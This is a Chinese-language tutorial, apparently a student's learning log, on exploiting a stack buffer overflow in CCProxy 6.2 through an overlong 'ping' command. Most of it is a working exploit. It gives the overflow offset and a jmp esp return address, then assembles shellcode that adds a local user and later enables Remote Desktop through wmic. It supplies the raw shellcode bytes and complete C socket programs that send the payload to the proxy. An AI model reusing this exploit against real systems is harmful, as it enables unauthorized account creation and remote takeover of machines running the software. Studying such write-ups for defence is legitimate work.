CCPROXY漏洞利用

CCProxy是一款非常流行的下載量最大的的國產(chǎn)代理服務(wù)器軟件，其CCProxy 6.2版本存在一個棧溢出漏洞，可以通過此漏洞進(jìn)行shellcode攻擊，以下是學(xué)習(xí)過程的一個小記錄吧 : )

1.找到并定位溢出點

使用ping命令加一個超長的字符串加一個主機(jī)名，代理端會返回Host not found。

當(dāng)輸入的字符串足夠長時（比如2000個a），軟件就會溢出奔潰，通過二分法嘗試，發(fā)現(xiàn)ping后最多接1009個字符，第1010字符開始溢出，并且前四字節(jié)無用，如下圖，當(dāng)輸入1013個a字符時，此時就有一個字符a溢出到了EIP的地址中

然后使用OD觀察EIP被溢出填充的過程，首先使用查找找到Host not found所在的語句，然后設(shè)置內(nèi)存訪問斷點（硬件執(zhí)行斷點斷不下來）。

然后執(zhí)行ping加超長字符串（比如2000個字符a），成功在Host not found處斷了下來。然后單部跳過往下執(zhí)行到retn 0xc 指令，此時將要EIP = [ESP]，ESP = ESP + 0xc+0x4。

執(zhí)行retn 0xc指令，果然如分析的那樣，所以我們只需要將堆棧段0x011766F8填充成我們希望執(zhí)行的EIP指令地址即可，這里使用jmp esp，所以我們希望填充0x7FFA4512，于是就會執(zhí)行jmp esp，緊接著就會跳轉(zhuǎn)到0x01176700，我們只需要將我們的shell code填到此處就可以。

2.完成基本的添加用戶Shellcode

然后開始編寫shellcode，其實shellcode非常簡單，想要在目標(biāo)主機(jī)上創(chuàng)建一個用戶，命令就是system(“net user 用戶名/add”)，該函數(shù)就在windows的msvsrt.dll動態(tài)鏈接庫中，于是我們編寫如下一份C語言代碼。

#include <windows.h> #include <winbase.h> void main() {LoadLibrary("msvcrt.dll");__asm {push ebp ;保存ebp，esp－4mov ebp,esp ;給ebp賦新值，將作為局部變量的基指針xor edi,edi ;push edi ;壓入0，esp－4, ;作用是構(gòu)造字符串的結(jié)尾\0字符 sub esp,0chmov byte ptr [ebp-10h],6eh;nmov byte ptr [ebp-0fh],65h;emov byte ptr [ebp-0eh],74h;tmov byte ptr [ebp-0dh],20h;空格mov byte ptr [ebp-0ch],75h;umov byte ptr [ebp-0bh],73h;smov byte ptr [ebp-0ah],65h;emov byte ptr [ebp-09h],72h;rmov byte ptr [ebp-08h],20h;空格mov byte ptr [ebp-07h],61h;amov byte ptr [ebp-06h],20h;空格mov byte ptr [ebp-05h],2fh;/mov byte ptr [ebp-04h],61h;amov byte ptr [ebp-03h],64h;dmov byte ptr [ebp-02h],64h;dlea eax,[ebp-10h] ;push eax ;串地址作為參數(shù)入棧mov eax, 0x77bf93c7;call eax ;調(diào)用system} }

然后反匯編得到匯編代碼，然后查看查看匯編代碼對應(yīng)的機(jī)器碼（使用memory窗口查看），然后保存我們得到的shellcode，為后續(xù)使用做準(zhǔn)備。

執(zhí)行完上述程序后可以發(fā)現(xiàn)成功的添加了一個a用戶。

3.利用緩沖區(qū)溢出執(zhí)行ShellCode

1.我們首先需要執(zhí)行jmp esp指令，所以我們填入的1013~1016字節(jié)應(yīng)該填入FFA4512，然后就會執(zhí)行JMP ESP，然后就會跳轉(zhuǎn)到第1013+0xc+0x4字節(jié)處處執(zhí)行，但是我們的shellcode需要放在第5個字節(jié)到1012個字節(jié)之間（因為CCPROXY有一個字符串覆蓋操作，會將第5個字節(jié)到1012字節(jié)復(fù)制到1013+0xc+0x4字節(jié)處），由于shellcode許多都是不可見字符，不能手動執(zhí)行，于是我們編寫如下的C語言代碼（最好使用cpp，否則會有一堆錯誤）。

#include <stdio.h> #include <winsock2.h> #include <MSWSock.h> #include <Windows.h> #pragma comment(lib, "ws2_32")#define WIN32_LEAN_AND_MEAN #define MAX_LEN 2000char shell[] ={ 0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x0C,0xC6,0x45,0xF0,0x6E,0xC6,0x45,0xF1,0x65,0xC6,0x45,0xF2,0x74,0xC6,0x45,0xF3,0x20,0xC6,0x45,0xF4,0x75,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,0x65,0xC6,0x45,0xF7,0x72,0xC6,0x45,0xF8,0x20,0xC6,0x45,0xF9,0x61,0xC6,0x45,0xFA,0x20,0xC6,0x45,0xFB,0x2F,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x64,0xC6,0x45,0xFE,0x64,0x8D,0x45,0xF0,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0, 0}; int main(int argc, char* argv[]) {WSADATA ws; // 初始化 wsint ret = WSAStartup(MAKEWORD(2, 2), &ws);struct sockaddr_in sa;sa.sin_family = AF_INET;sa.sin_port = htons(23);sa.sin_addr.s_addr = inet_addr("127.0.0.1");char buf[MAX_LEN];char buf1[1024];buf[0]='p';buf[1]='i';buf[2]='n';buf[3]='g';buf[4]=' ';// 插入Shellcodeint l = strlen(shell);//前4個字節(jié)為無用字節(jié)buf[5]=buf[6]=buf[7]=buf[8]='a';for(int j = 9; j < 9+l; j++){buf[j] = shell[j-9];}//開始填入shellcode//該處代碼自己研究;//到溢出點為止都填入無用字節(jié)for(int i=9+l;i<1012+5;i++)buf[i]='a';//在溢出點處填入 jump esp 指令的地址該處代碼自己研究buf[1017] = 0x12;buf[1018] = 0x45;buf[1019] = 0xFA;buf[1020] = 0x7F;//7FFA4512//繼續(xù)填充無用字節(jié)for(i=1021;i<1998;i++)buf[i]='a';//命令結(jié)束加上\r\nbuf[1998]='\r';buf[1999]='\n';// 創(chuàng)建 socketSOCKET sc = WSASocket(AF_INET, SOCK_STREAM,IPPROTO_TCP, NULL, 0, 0); //連接到服務(wù)器ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));//接收服務(wù)器端的回答recv(sc,buf1,1024,0);// 發(fā)送攻擊數(shù)據(jù)ret = send(sc, buf, 2000, 0);closesocket(sc);WSACleanup();return 0; }

然后運(yùn)行CCPROXY，再執(zhí)行剛剛編寫的代碼，發(fā)現(xiàn)CCPROXY成功溢出奔潰，并且計算成功添加了一個賬戶a（事先已經(jīng)刪除賬戶a的情況下）

然后使用OD再Host not found處設(shè)置斷點分析整個過程，可以看到此時esp處存放著JMP ESP指令地址，并且shellcode恰好就好[esp+0xc+0x4]的位置（shellcode是從5~1013字節(jié)復(fù)制過來的）。

執(zhí)行retn 0xc指令，成功跳轉(zhuǎn)到JMP ESP指令，并且此時ESP = ESP+0xc+0x4

然后通過JMP ESP就成功跳轉(zhuǎn)到了shellcode，完成添加用戶的操作。

4.實現(xiàn)一個具備遠(yuǎn)程連接控制功能的ShellCode

要實現(xiàn)遠(yuǎn)程連接，我們可以使用vmic命令完成，也是通過system()函數(shù)進(jìn)行運(yùn)行DOC命令，我們需要使用的wmic命令如下：

開啟遠(yuǎn)程桌面控制：wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 關(guān)閉遠(yuǎn)程桌面控制：wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 0

然后我們就只需要將命令轉(zhuǎn)化為硬編碼，寫入到匯編代碼中即可，如下就是上述命令轉(zhuǎn)化為ASCII碼值的結(jié)果，共87個字符，所以我們需要從ebp-0x58開始填寫。

0x77,0x6d,0x69,0x63,0x20,0x50,0x41,0x54,0x48,0x20,0x77,0x69,0x6e,0x33,0x32,0x5f,0x74,0x65,0x72,0x6d,0x69,0x6e,0x61,0x6c,0x73,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x65,0x74,0x74,0x69,0x6e,0x67,0x20,0x57,0x48,0x45,0x52,0x45,0x20,0x28,0x5f,0x5f,0x43,0x6c,0x61,0x73,0x73,0x21,0x3d,0x22,0x22,0x29,0x20,0x43,0x41,0x4c,0x4c,0x20,0x53,0x65,0x74,0x41,0x6c,0x6c,0x6f,0x77,0x54,0x53,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x69,0x6f,0x6e,0x73,0x20,0x31

然后修改shellcode，修改為我們上述的shellcode，注意需要抬高棧頂，否則裝不下shellcode。

#include <windows.h> #include <winbase.h> void main() {LoadLibrary("msvcrt.dll");__asm {push ebp ;保存ebp，esp－4mov ebp,esp ;給ebp賦新值，將作為局部變量的基指針xor edi,edi ;push edi ;壓入0，esp－4, ;作用是構(gòu)造字符串的結(jié)尾\0字符 sub esp,60hmov byte ptr ss:[ebp - 0x58], 0x77mov byte ptr ss:[ebp - 0x57], 0x6dmov byte ptr ss:[ebp - 0x56], 0x69mov byte ptr ss:[ebp - 0x55], 0x63mov byte ptr ss:[ebp - 0x54], 0x20mov byte ptr ss:[ebp - 0x53], 0x50mov byte ptr ss:[ebp - 0x52], 0x41mov byte ptr ss:[ebp - 0x51], 0x54mov byte ptr ss:[ebp - 0x50], 0x48mov byte ptr ss:[ebp - 0x4f], 0x20mov byte ptr ss:[ebp - 0x4e], 0x77mov byte ptr ss:[ebp - 0x4d], 0x69mov byte ptr ss:[ebp - 0x4c], 0x6emov byte ptr ss:[ebp - 0x4b], 0x33mov byte ptr ss:[ebp - 0x4a], 0x32mov byte ptr ss:[ebp - 0x49], 0x5fmov byte ptr ss:[ebp - 0x48], 0x74mov byte ptr ss:[ebp - 0x47], 0x65mov byte ptr ss:[ebp - 0x46], 0x72mov byte ptr ss:[ebp - 0x45], 0x6dmov byte ptr ss:[ebp - 0x44], 0x69mov byte ptr ss:[ebp - 0x43], 0x6emov byte ptr ss:[ebp - 0x42], 0x61mov byte ptr ss:[ebp - 0x41], 0x6cmov byte ptr ss:[ebp - 0x40], 0x73mov byte ptr ss:[ebp - 0x3f], 0x65mov byte ptr ss:[ebp - 0x3e], 0x72mov byte ptr ss:[ebp - 0x3d], 0x76mov byte ptr ss:[ebp - 0x3c], 0x69mov byte ptr ss:[ebp - 0x3b], 0x63mov byte ptr ss:[ebp - 0x3a], 0x65mov byte ptr ss:[ebp - 0x39], 0x73mov byte ptr ss:[ebp - 0x38], 0x65mov byte ptr ss:[ebp - 0x37], 0x74mov byte ptr ss:[ebp - 0x36], 0x74mov byte ptr ss:[ebp - 0x35], 0x69mov byte ptr ss:[ebp - 0x34], 0x6emov byte ptr ss:[ebp - 0x33], 0x67mov byte ptr ss:[ebp - 0x32], 0x20mov byte ptr ss:[ebp - 0x31], 0x57mov byte ptr ss:[ebp - 0x30], 0x48mov byte ptr ss:[ebp - 0x2f], 0x45mov byte ptr ss:[ebp - 0x2e], 0x52mov byte ptr ss:[ebp - 0x2d], 0x45mov byte ptr ss:[ebp - 0x2c], 0x20mov byte ptr ss:[ebp - 0x2b], 0x28mov byte ptr ss:[ebp - 0x2a], 0x5fmov byte ptr ss:[ebp - 0x29], 0x5fmov byte ptr ss:[ebp - 0x28], 0x43mov byte ptr ss:[ebp - 0x27], 0x6cmov byte ptr ss:[ebp - 0x26], 0x61mov byte ptr ss:[ebp - 0x25], 0x73mov byte ptr ss:[ebp - 0x24], 0x73mov byte ptr ss:[ebp - 0x23], 0x21mov byte ptr ss:[ebp - 0x22], 0x3dmov byte ptr ss:[ebp - 0x21], 0x22mov byte ptr ss:[ebp - 0x20], 0x22mov byte ptr ss:[ebp - 0x1f], 0x29mov byte ptr ss:[ebp - 0x1e], 0x20mov byte ptr ss:[ebp - 0x1d], 0x43mov byte ptr ss:[ebp - 0x1c], 0x41mov byte ptr ss:[ebp - 0x1b], 0x4cmov byte ptr ss:[ebp - 0x1a], 0x4cmov byte ptr ss:[ebp - 0x19], 0x20mov byte ptr ss:[ebp - 0x18], 0x53mov byte ptr ss:[ebp - 0x17], 0x65mov byte ptr ss:[ebp - 0x16], 0x74mov byte ptr ss:[ebp - 0x15], 0x41mov byte ptr ss:[ebp - 0x14], 0x6cmov byte ptr ss:[ebp - 0x13], 0x6cmov byte ptr ss:[ebp - 0x12], 0x6fmov byte ptr ss:[ebp - 0x11], 0x77mov byte ptr ss:[ebp - 0x10], 0x54mov byte ptr ss:[ebp - 0xf], 0x53mov byte ptr ss:[ebp - 0xe], 0x43mov byte ptr ss:[ebp - 0xd], 0x6fmov byte ptr ss:[ebp - 0xc], 0x6emov byte ptr ss:[ebp - 0xb], 0x6emov byte ptr ss:[ebp - 0xa], 0x65mov byte ptr ss:[ebp - 0x9], 0x63mov byte ptr ss:[ebp - 0x8], 0x74mov byte ptr ss:[ebp - 0x7], 0x69mov byte ptr ss:[ebp - 0x6], 0x6fmov byte ptr ss:[ebp - 0x5], 0x6emov byte ptr ss:[ebp - 0x4], 0x73mov byte ptr ss:[ebp - 0x3], 0x20mov byte ptr ss:[ebp - 0x2], 0x31lea eax,[ebp-58h] ;push eax ;串地址作為參數(shù)入棧mov eax, 0x77bf93c7;call eax ;調(diào)用system} }

獲得匯編機(jī)器碼，然后調(diào)式狀態(tài)下反匯編，獲取匯編代碼。

55 8B EC 33 FF 57 83 EC 60 36 C6 45 A8 77 36 C6 45 A9 6D 36 C6 45 AA 69 36 C6 45 AB 63 36 C6 45 AC 20 36 C6 45 AD 50 36 C6 45 AE 41 36 C6 45 AF 54 36 C6 45 B0 48 36 C6 45 B1 20 36 C6 45 B2 77 36 C6 45 B3 69 36 C6 45 B4 6E 36 C6 45 B5 33 36 C6 45 B6 32 36 C6 45 B7 5F 36 C6 45 B8 74 36 C6 45 B9 65 36 C6 45 BA 72 36 C6 45 BB 6D 36 C6 45 BC 69 36 C6 45 BD 6E 36 C6 45 BE 61 36 C6 45 BF 6C 36 C6 45 C0 73 36 C6 45 C1 65 36 C6 45 C2 72 36 C6 45 C3 76 36 C6 45 C4 69 36 C6 45 C5 63 36 C6 45 C6 65 36 C6 45 C7 73 36 C6 45 C8 65 36 C6 45 C9 74 36 C6 45 CA 74 36 C6 45 CB 69 36 C6 45 CC 6E 36 C6 45 CD 67 36 C6 45 CE 20 36 C6 45 CF 57 36 C6 45 D0 48 36 C6 45 D1 45 36 C6 45 D2 52 36 C6 45 D3 45 36 C6 45 D4 20 36 C6 45 D5 28 36 C6 45 D6 5F 36 C6 45 D7 5F 36 C6 45 D8 43 36 C6 45 D9 6C 36 C6 45 DA 61 36 C6 45 DB 73 36 C6 45 DC 73 36 C6 45 DD 21 36 C6 45 DE 3D 36 C6 45 DF 22 36 C6 45 E0 22 36 C6 45 E1 29 36 C6 45 E2 20 36 C6 45 E3 43 36 C6 45 E4 41 36 C6 45 E5 4C 36 C6 45 E6 4C 36 C6 45 E7 20 36 C6 45 E8 53 36 C6 45 E9 65 36 C6 45 EA 74 36 C6 45 EB 41 36 C6 45 EC 6C 36 C6 45 ED 6C 36 C6 45 EE 6F 36 C6 45 EF 77 36 C6 45 F0 54 36 C6 45 F1 53 36 C6 45 F2 43 36 C6 45 F3 6F 36 C6 45 F4 6E 36 C6 45 F5 6E 36 C6 45 F6 65 36 C6 45 F7 63 36 C6 45 F8 74 36 C6 45 F9 69 36 C6 45 FA 6F 36 C6 45 FB 6E 36 C6 45 FC 73 36 C6 45 FD 20 36 C6 45 FE 31 8D 45 A8 50 B8 C7 93 BF 77 FF D0

然后修改注入程序的shell部分，其余代碼部分同上。

#include <stdio.h> #include <winsock2.h> #include <MSWSock.h> #include <Windows.h> #pragma comment(lib, "ws2_32")#define WIN32_LEAN_AND_MEAN #define MAX_LEN 2000 char shell[] ={0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC, 0x60,0x36,0xC6,0x45,0xA8,0x77,0x36,0xC6, 0x45,0xA9,0x6D,0x36,0xC6,0x45,0xAA,0x69, 0x36,0xC6,0x45,0xAB,0x63,0x36,0xC6,0x45, 0xAC,0x20,0x36,0xC6,0x45,0xAD,0x50,0x36, 0xC6,0x45,0xAE,0x41,0x36,0xC6,0x45,0xAF, 0x54,0x36,0xC6,0x45,0xB0,0x48,0x36,0xC6, 0x45,0xB1,0x20,0x36,0xC6,0x45,0xB2,0x77, 0x36,0xC6,0x45,0xB3,0x69,0x36,0xC6,0x45, 0xB4,0x6E,0x36,0xC6,0x45,0xB5,0x33,0x36, 0xC6,0x45,0xB6,0x32,0x36,0xC6,0x45,0xB7, 0x5F,0x36,0xC6,0x45,0xB8,0x74,0x36,0xC6, 0x45,0xB9,0x65,0x36,0xC6,0x45,0xBA,0x72, 0x36,0xC6,0x45,0xBB,0x6D,0x36,0xC6,0x45, 0xBC,0x69,0x36,0xC6,0x45,0xBD,0x6E,0x36, 0xC6,0x45,0xBE,0x61,0x36,0xC6,0x45,0xBF, 0x6C,0x36,0xC6,0x45,0xC0,0x73,0x36,0xC6, 0x45,0xC1,0x65,0x36,0xC6,0x45,0xC2,0x72, 0x36,0xC6,0x45,0xC3,0x76,0x36,0xC6,0x45, 0xC4,0x69,0x36,0xC6,0x45,0xC5,0x63,0x36, 0xC6,0x45,0xC6,0x65,0x36,0xC6,0x45,0xC7, 0x73,0x36,0xC6,0x45,0xC8,0x65,0x36,0xC6, 0x45,0xC9,0x74,0x36,0xC6,0x45,0xCA,0x74, 0x36,0xC6,0x45,0xCB,0x69,0x36,0xC6,0x45, 0xCC,0x6E,0x36,0xC6,0x45,0xCD,0x67,0x36, 0xC6,0x45,0xCE,0x20,0x36,0xC6,0x45,0xCF, 0x57,0x36,0xC6,0x45,0xD0,0x48,0x36,0xC6, 0x45,0xD1,0x45,0x36,0xC6,0x45,0xD2,0x52, 0x36,0xC6,0x45,0xD3,0x45,0x36,0xC6,0x45, 0xD4,0x20,0x36,0xC6,0x45,0xD5,0x28,0x36, 0xC6,0x45,0xD6,0x5F,0x36,0xC6,0x45,0xD7, 0x5F,0x36,0xC6,0x45,0xD8,0x43,0x36,0xC6, 0x45,0xD9,0x6C,0x36,0xC6,0x45,0xDA,0x61, 0x36,0xC6,0x45,0xDB,0x73,0x36,0xC6,0x45, 0xDC,0x73,0x36,0xC6,0x45,0xDD,0x21,0x36, 0xC6,0x45,0xDE,0x3D,0x36,0xC6,0x45,0xDF, 0x22,0x36,0xC6,0x45,0xE0,0x22,0x36,0xC6, 0x45,0xE1,0x29,0x36,0xC6,0x45,0xE2,0x20, 0x36,0xC6,0x45,0xE3,0x43,0x36,0xC6,0x45, 0xE4,0x41,0x36,0xC6,0x45,0xE5,0x4C,0x36, 0xC6,0x45,0xE6,0x4C,0x36,0xC6,0x45,0xE7, 0x20,0x36,0xC6,0x45,0xE8,0x53,0x36,0xC6, 0x45,0xE9,0x65,0x36,0xC6,0x45,0xEA,0x74, 0x36,0xC6,0x45,0xEB,0x41,0x36,0xC6,0x45, 0xEC,0x6C,0x36,0xC6,0x45,0xED,0x6C,0x36, 0xC6,0x45,0xEE,0x6F,0x36,0xC6,0x45,0xEF, 0x77,0x36,0xC6,0x45,0xF0,0x54,0x36,0xC6, 0x45,0xF1,0x53,0x36,0xC6,0x45,0xF2,0x43, 0x36,0xC6,0x45,0xF3,0x6F,0x36,0xC6,0x45, 0xF4,0x6E,0x36,0xC6,0x45,0xF5,0x6E,0x36, 0xC6,0x45,0xF6,0x65,0x36,0xC6,0x45,0xF7, 0x63,0x36,0xC6,0x45,0xF8,0x74,0x36,0xC6, 0x45,0xF9,0x69,0x36,0xC6,0x45,0xFA,0x6F, 0x36,0xC6,0x45,0xFB,0x6E,0x36,0xC6,0x45, 0xFC,0x73,0x36,0xC6,0x45,0xFD,0x20,0x36, 0xC6,0x45,0xFE,0x31,0x8D,0x45,0xA8,0x50, 0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0 };int main(int argc, char* argv[]) {WSADATA ws; // 初始化 wsint ret = WSAStartup(MAKEWORD(2, 2), &ws);struct sockaddr_in sa;sa.sin_family = AF_INET;sa.sin_port = htons(23);sa.sin_addr.s_addr = inet_addr("127.0.0.1");char buf[MAX_LEN];char buf1[1024];buf[0]='p';buf[1]='i';buf[2]='n';buf[3]='g';buf[4]=' ';// 插入Shellcodeint l = strlen(shell);//前4個字節(jié)為無用字節(jié)buf[5]=buf[6]=buf[7]=buf[8]='a';for(int j = 9; j < 9+l; j++){buf[j] = shell[j-9];}//開始填入shellcode//該處代碼自己研究;//到溢出點為止都填入無用字節(jié)for(int i=9+l;i<1012+5;i++)buf[i]='a';//for(int i=9;i<1012+5;i++)//buf[i]='a';//在溢出點處填入 jump esp 指令的地址該處代碼自己研究buf[1017] = 0x12;buf[1018] = 0x45;buf[1019] = 0xFA;buf[1020] = 0x7F;//7FFA4512//繼續(xù)填充無用字節(jié)for(i=1021;i<1998;i++)buf[i]='a';//命令結(jié)束加上\r\nbuf[1998]='\r';buf[1999]='\n';// 創(chuàng)建 socketSOCKET sc = WSASocket(AF_INET, SOCK_STREAM,IPPROTO_TCP, NULL, 0, 0); //連接到服務(wù)器ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));//接收服務(wù)器端的回答recv(sc,buf1,1024,0);// 發(fā)送攻擊數(shù)據(jù)ret = send(sc, buf, 2000, 0);closesocket(sc);WSACleanup();return 0; }

然后將上述然后運(yùn)行CCPROXY，再執(zhí)行剛剛編寫的代碼，發(fā)現(xiàn)CCPROXY成功溢出奔潰，并且開啟了遠(yuǎn)程服務(wù)。

總結(jié)

以上是生活随笔為你收集整理的CCPROXY漏洞利用的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。